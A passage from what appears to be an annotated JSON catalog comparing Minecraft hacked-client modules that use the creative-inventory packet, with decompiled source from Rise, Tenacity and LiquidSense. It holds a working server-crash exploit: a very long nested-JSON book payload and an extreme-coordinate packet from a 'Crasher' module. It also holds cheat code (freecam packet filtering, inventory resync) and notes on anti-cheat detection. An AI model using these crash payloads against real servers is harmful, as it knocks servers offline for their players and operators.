[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}\"));\n                }\n\n                tag.setString(\"author\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setString(\"title\", RandomStringUtils.random(16, \"0123456789\"));\n                tag.setByte(\"resolved\", (byte) 1);\n                tag.setTag(\"pages\", list);\n                final ItemStack book = new ItemStack(Items.writable_book);\n                book.setTagCompound(tag);\n                final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n                buffer.writeItemStackToBuffer(book);\n                PacketUtil.sendPacket(new C17PacketCustomPayload(\"MC|BEdit\", buffer));\n                break;\n            }\n\n            case \"AAC5\": {\n                PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(1.7E301, -999, 0, true));\n                break;\n            }\n        }\n    }\n}\n// NOTE (AI): Window mode builds a writable book whose single page is a deeply nested {extra:[{...}} JSON string (roughly 830 levels in the string builder) and pushes it into slot 0 via C10PacketCreativeInventoryAction. The server's processCreativeInventoryAction runs the BlockEntityTag sync check and slot validation before placement, and slot 0 fails flag1, so the intended kill is the server-side JSON deserialization of the book payload, not the slot write itself. The same crash string family is reused by the Click, Window, BEdit and One Packet modes over C0E and C17.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/Crasher.java",
      "vanilla_hook": "onPreMotion (PreMotionEvent), PacketUtil.sendPacket.",
      "anti_cheat_notes": "Only effective on creative-gamemode servers; on survival the handler is a no-op. The nested JSON targets server-side text/chat parsing, so the flag surface is the payload content, not the packet rate.",
      "variations": "The same module's Click, Window, BEdit and One Packet modes push equivalent book NBT through C0EPacketClickWindow and C17PacketCustomPayload (MC|BEdit)."
     },
     {
      "name": "Freecam (whitelist)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Allow C10 through while freecam is active so creative inventory actions still reach the server from the detached camera.",
      "how_it_works": "onPacketSend cancels every serverbound packet not in an explicit allow list; C10 (with C12, C0E, C16, C02 and a few others) is in the list. Everything else, including C03 movement, is suppressed so the server keeps the player frozen.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/render/Freecam.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.render;\n\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.BlockCollideEvent;\nimport dev.rise.event.impl.other.MoveButtonEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.player.MoveUtil;\nimport net.minecraft.client.entity.EntityOtherPlayerMP;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport store.intent.intentguard.annotation.Exclude;\nimport store.intent.intentguard.annotation.Strategy;\n\n@Exclude({Strategy.NUMBER_OBFUSCATION, Strategy.FLOW_OBFUSCATION})\n@ModuleInfo(name = \"Freecam\", description = \"Allows you to view your surroundings\", category = Category.RENDER)\npublic final class Freecam extends Module {\n\n    private final BooleanSetting fly = new BooleanSetting(\"Fly\", this, true);\n    private final NumberSetting flySpeed = new NumberSetting(\"Fly Speed\", this, 1, 0.1, 9.5, 0.1);\n    private final BooleanSetting noClip = new BooleanSetting(\"No Clip\", this, true);\n\n    private EntityOtherPlayerMP freecamEntity;\n    public static double startX, startY, startZ;\n    private float startYaw, startPitch;\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        flySpeed.hidden = noClip.hidden = !fly.isEnabled();\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.thePlayer.ticksExisted < 5) {\n            this.toggleModule();\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" due to world change.\");\n            return;\n        }\n\n        if (noClip.isEnabled() && fly.isEnabled())\n            mc.thePlayer.noClip = true;\n\n        if (fly.isEnabled()) {\n            mc.thePlayer.motionY = mc.gameSettings.keyBindJump.isKeyDown() ? flySpeed.getValue() : mc.gameSettings.keyBindSneak.isKeyDown() ? -flySpeed.getValue() : 0;\n\n            if (MoveUtil.isMoving())\n                MoveUtil.strafe(flySpeed.getValue());\n            else\n                MoveUtil.stop();\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        if (!(p instanceof C01PacketChatMessage || p instanceof C08PacketPlayerBlockPlacement || p instanceof C0FPacketConfirmTransaction || p instanceof C00PacketKeepAlive || p instanceof C09PacketHeldItemChange || p instanceof C12PacketUpdateSign || p instanceof C10PacketCreativeInventoryAction || p instanceof C0EPacketClickWindow || p instanceof C0DPacketCloseWindow || p instanceof C16PacketClientStatus || p instanceof C0APacketAnimation || p instanceof C02PacketUseEntity))\n            event.setCancelled(true);\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof S08PacketPlayerPosLook && mc.thePlayer.ticksExisted > 1)\n            event.setCancelled(true);\n    }\n\n    @Override\n    public void onMoveButton(final MoveButtonEvent event) {\n        if (fly.isEnabled())\n            event.setSneak(false);\n    }\n\n    @Override\n    public void onBlockCollide(final BlockCollideEvent event) {\n        if (noClip.isEnabled() && fly.isEnabled())\n            event.setCollisionBoundingBox(null);\n    }\n\n    @Override\n    protected void onEnable() {\n        freecamEntity = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());\n        freecamEntity.setPositionAndRotation(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch);\n        freecamEntity.rotationYawHead = mc.thePlayer.rotationYawHead;\n        freecamEntity.setSprinting(mc.thePlayer.isSprinting());\n        freecamEntity.setInvisible(mc.thePlayer.isInvisible());\n        freecamEntity.setSneaking(mc.thePlayer.isSneaking());\n\n        mc.theWorld.addEntityToWorld(freecamEntity.getEntityId(), freecamEntity);\n\n        startPitch = mc.thePlayer.rotationPitch;\n        startYaw = mc.thePlayer.rotationYaw;\n        startX = mc.thePlayer.posX;\n        startY = mc.thePlayer.posY;\n        startZ = mc.thePlayer.posZ;\n    }\n\n    @Override\n    protected void onDisable() {\n        if (freecamEntity != null) {\n            mc.theWorld.removeEntityFromWorld(freecamEntity.getEntityId());\n            mc.thePlayer.setPositionAndRotation(startX, startY, startZ, startYaw, startPitch);\n        }\n        mc.thePlayer.noClip = false;\n        mc.thePlayer.motionY = 0;\n        MoveUtil.strafe(0);\n    }\n}\n// NOTE (AI): The C10 reference is the whitelist in onPacketSend: Freecam cancels every serverbound packet that is not in the allow list, and C10 is allow-listed so creative inventory actions still reach the server while the camera is detached. Note the list also includes C12, C0E, C16 and C02, which are the packets the module decides are safe to pass during a freecam session.",
      "code_source": "Rise 5.99, dev/rise/module/impl/render/Freecam.java",
      "vanilla_hook": "onPacketSend (PacketSendEvent).",
      "anti_cheat_notes": "Not a C10-specific exploit; the whitelist is the module's general anti-desync mechanism. No anti-cheat measures freecam whitelists directly, movement suppression is what gets flagged.",
      "variations": "No other client in the corpus has a comparable whitelist for C10."
     },
     {
      "name": "PacketUtil (silent whitelist)",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Classify C10 as a legitimate client packet so Tenacity's packet helpers route it through the send path.",
      "how_it_works": "isClientPacket returns true for every play-state serverbound packet including C10. The helper exists because Tenacity's packet send event historically let serverbound and clientbound packets through; the whitelist gates which ones the event system treats as client traffic.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/util/network/PacketUtil.java =====\npackage dev.tenacity.util.network;\n\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\npublic final class PacketUtil {\n\n    private PacketUtil() {\n    }\n\n    // This is just temporary, as for some reason packet send event allows server packets as well.\n    public static boolean isClientPacket(final Packet<?> packet) {\n        return packet instanceof C0APacketAnimation\n                || packet instanceof C0BPacketEntityAction\n                || packet instanceof C0CPacketInput\n                || packet instanceof C0DPacketCloseWindow\n                || packet instanceof C0EPacketClickWindow\n                || packet instanceof C0FPacketConfirmTransaction\n                || packet instanceof C00PacketKeepAlive\n                || packet instanceof C01PacketChatMessage\n                || packet instanceof C02PacketUseEntity\n                || packet instanceof C03PacketPlayer\n                || packet instanceof C07PacketPlayerDigging\n                || packet instanceof C08PacketPlayerBlockPlacement\n                || packet instanceof C09PacketHeldItemChange\n                || packet instanceof C10PacketCreativeInventoryAction\n                || packet instanceof C11PacketEnchantItem\n                || packet instanceof C12PacketUpdateSign\n                || packet instanceof C13PacketPlayerAbilities\n                || packet instanceof C14PacketTabComplete\n                || packet instanceof C15PacketClientSettings\n                || packet instanceof C16PacketClientStatus\n                || packet instanceof C17PacketCustomPayload\n                || packet instanceof C18PacketSpectate\n                || packet instanceof C19PacketResourcePackStatus;\n    }\n\n}\n// NOTE (AI): isClientPacket is the whitelist used by Tenacity's packet send helpers. It exists because the client's packet send event historically accepted serverbound and clientbound packets alike; helpers use it to decide which packets legitimately flow through the send path. C10 is listed alongside every other play-state serverbound packet.",
      "code_source": "Tenacity 6.0, dev/tenacity/util/network/PacketUtil.java",
      "vanilla_hook": "Packet send helper, no event hook.",
      "anti_cheat_notes": "No detection relevance; purely an internal routing gate.",
      "variations": "Rise 5.99's PacketUtil has no equivalent whitelist; the same file in Tenacity also covers C11 through C19, which is why it reappears across several of these impl pages."
     },
     {
      "name": "InventoryUtils (creative inventory sync)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Force the server's creative inventory copy back in sync by re-sending every main-inventory slot as a C10 creative action.",
      "how_it_works": "updateInventory() loops slots 0..43 (offset 36 for the first nine to map the hotbar, 0 for the rest), and for each adds C10PacketCreativeInventoryAction(index + offset, mainInventory[index]) to the send queue. The rest of the class is armor and weapon scoring used by the AquaVit module set.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/API/InventoryUtils.java =====\npackage me.AquaVit.liquidSense.API;\n\nimport com.google.common.collect.Multimap;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.Optional;\nimport java.util.stream.Stream;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.client.multiplayer.PlayerControllerMP;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.enchantment.EnchantmentHelper;\nimport net.minecraft.entity.EnumCreatureAttribute;\nimport net.minecraft.entity.ai.attributes.AttributeModifier;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.entity.player.InventoryPlayer;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.item.Item;\nimport net.minecraft.item.ItemArmor;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C10PacketCreativeInventoryAction;\nimport net.minecraft.util.DamageSource;\n\npublic class InventoryUtils {\n    public static Minecraft mc = Minecraft.getMinecraft();\n    public void dropSlot(int slot) {\n        int windowId = new GuiInventory((EntityPlayer)InventoryUtils.mc.thePlayer).inventorySlots.windowId;\n        InventoryUtils.mc.playerController.windowClick(windowId, slot, 1, 4, InventoryUtils.mc.thePlayer);\n    }\n\n    public static void updateInventory() {\n        int index = 0;\n        while (index < 44) {\n            try {\n                int offset = index < 9 ? 36 : 0;\n                Minecraft.getMinecraft().thePlayer.sendQueue.addToSendQueue(new C10PacketCreativeInventoryAction(index + offset, Minecraft.getMinecraft().thePlayer.inventory.mainInventory[index]));\n            }\n            catch (Exception offset) {\n                // empty catch block\n            }\n            ++index;\n        }\n    }\n\n    public static ItemStack getStackInSlot(int slot) {\n        return InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot);\n    }\n\n\n    public static boolean isBestArmorOfTypeInInv(ItemStack is) {\n        try {\n            int otherProt;\n            ItemStack stack;\n            ItemArmor otherArmor;\n            if (is == null) {\n                return false;\n            }\n            if (is.getItem() == null) {\n                return false;\n            }\n            if (is.getItem() != null && !(is.getItem() instanceof ItemArmor)) {\n                return false;\n            }\n            ItemArmor ia = (ItemArmor)is.getItem();\n            int prot = InventoryUtils.getArmorProt(is);\n            int i = 0;\n            while (i < 4) {\n                stack = InventoryUtils.mc.thePlayer.inventory.armorInventory[i];\n                if (stack != null) {\n                    otherArmor = (ItemArmor)stack.getItem();\n                    if (otherArmor.armorType == ia.armorType && (otherProt = InventoryUtils.getArmorProt(stack)) >= prot) {\n                        return false;\n                    }\n                }\n                ++i;\n            }\n            i = 0;\n            while (i < InventoryUtils.mc.thePlayer.inventory.getSizeInventory() - 4) {\n                stack = InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i);\n                if (stack != null && stack.getItem() instanceof ItemArmor) {\n                    otherArmor = (ItemArmor)stack.getItem();\n                    if (otherArmor.armorType == ia.armorType && otherArmor != ia && (otherProt = InventoryUtils.getArmorProt(stack)) >= prot) {\n                        return false;\n                    }\n                }\n                ++i;\n            }\n        }\n        catch (Exception ia) {\n            // empty catch block\n        }\n        return true;\n    }\n\n    public static boolean hotbarHas(Item item) {\n        int index = 0;\n        while (index <= 36) {\n            ItemStack stack = Minecraft.getMinecraft().thePlayer.inventory.getStackInSlot(index);\n            if (stack != null && stack.getItem() == item) {\n                return true;\n            }\n            ++index;\n        }\n        return false;\n    }\n\n    public static boolean hotbarHas(Item item, int slotID) {\n        int index = 0;\n        while (index <= 36) {\n            ItemStack stack = Minecraft.getMinecraft().thePlayer.inventory.getStackInSlot(index);\n            if (stack != null && stack.getItem() == item && InventoryUtils.getSlotID(stack.getItem()) == slotID) {\n                return true;\n            }\n            ++index;\n        }\n        return false;\n    }\n\n    public static int getSlotID(Item item) {\n        int index = 0;\n        while (index <= 36) {\n            ItemStack stack = Minecraft.getMinecraft().thePlayer.inventory.getStackInSlot(index);\n            if (stack != null && stack.getItem() == item) {\n                return index;\n            }\n            ++index;\n        }\n        return -1;\n    }\n\n    public static ItemStack getItemBySlotID(int slotID) {\n        int index = 0;\n        while (index <= 36) {\n            ItemStack stack = Minecraft.getMinecraft().thePlayer.inventory.getStackInSlot(index);\n            if (stack != null && InventoryUtils.getSlotID(stack.getItem()) == slotID) {\n                return stack;\n            }\n            ++index;\n        }\n        return null;\n    }\n\n    public static int getArmorProt(ItemStack i) {\n        int armorprot = -1;\n        if (i != null && i.getItem() != null && i.getItem() instanceof ItemArmor) {\n            armorprot = ((ItemArmor)i.getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(i)) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{i}, DamageSource.generic);\n        }\n        return armorprot;\n    }\n\n    public static int getBestSwordSlotID(ItemStack item, double damage) {\n        int index = 0;\n        while (index <= 36) {\n            ItemStack stack = Minecraft.getMinecraft().thePlayer.inventory.getStackInSlot(index);\n            if (stack != null && stack == item && InventoryUtils.getSwordDamage(stack) == InventoryUtils.getSwordDamage(item)) {\n                return index;\n            }\n            ++index;\n        }\n        return -1;\n    }\n\n    private static double getSwordDamage(ItemStack itemStack) {\n        double damage = 0.0;\n        Optional attributeModifier = itemStack.getAttributeModifiers().values().stream().findFirst();\n        if (attributeModifier.isPresent()) {\n            damage = ((AttributeModifier)attributeModifier.get()).getAmount();\n        }\n        return damage += (double)EnchantmentHelper.getModifierForCreature(itemStack, EnumCreatureAttribute.UNDEFINED);\n    }\n\n    public boolean isBestChest(int slot) {\n        if (InventoryUtils.getStackInSlot(slot) != null && InventoryUtils.getStackInSlot(slot).getItem() != null && InventoryUtils.getStackInSlot(slot).getItem() instanceof ItemArmor) {\n            ItemArmor ia1;\n            int slotProtection = ((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(slot)}, DamageSource.generic);\n            if (InventoryUtils.mc.thePlayer.inventory.armorInventory[2] != null) {\n                ItemArmor ia = (ItemArmor)InventoryUtils.mc.thePlayer.inventory.armorInventory[2].getItem();\n                ItemStack is = InventoryUtils.mc.thePlayer.inventory.armorInventory[2];\n                ia1 = (ItemArmor)InventoryUtils.getStackInSlot(slot).getItem();\n                int otherProtection = ((ItemArmor)is.getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(is)) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{is}, DamageSource.generic);\n                if (otherProtection > slotProtection || otherProtection == slotProtection) {\n                    return false;\n                }\n            }\n            int i = 0;\n            while (i < InventoryUtils.mc.thePlayer.inventory.getSizeInventory()) {\n                if (InventoryUtils.getStackInSlot(i) != null && InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem() instanceof ItemArmor) {\n                    int otherProtection = ((ItemArmor)InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i).getItem()).getArmorMaterial().getDamageReductionAmount(InventoryUtils.getItemType(InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i))) + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{InventoryUtils.mc.thePlayer.inventory.getStackInSlot(i)}, DamageSource.generic);\n                    ia1 = (ItemArmor)InventoryUtils.getStackInSlot(slot).getItem();\n                    ItemArmor ia2 = (ItemArmor)InventoryUtils.getStackInSlot(i).getItem();\n                    if (ia1.armorType == 1 && ia2.armorType == 1 && otherProtection > slotProtection) {\n                        return false;\n                    }\n                }\n                ++i;\n            }\n        }\n        return true;\n    }\n\n    public boolean isBestHelmet(int slot) {\n        if (InventoryUtils.getStackInSlot(slot) != null && InventoryUtils.getStackInSlot(slot).getItem() != null && InventoryUtils.getStackInSlot(slot).getItem() instanceof ItemArmor) {\n            ItemArmor ia1;\n            int slotProtection = 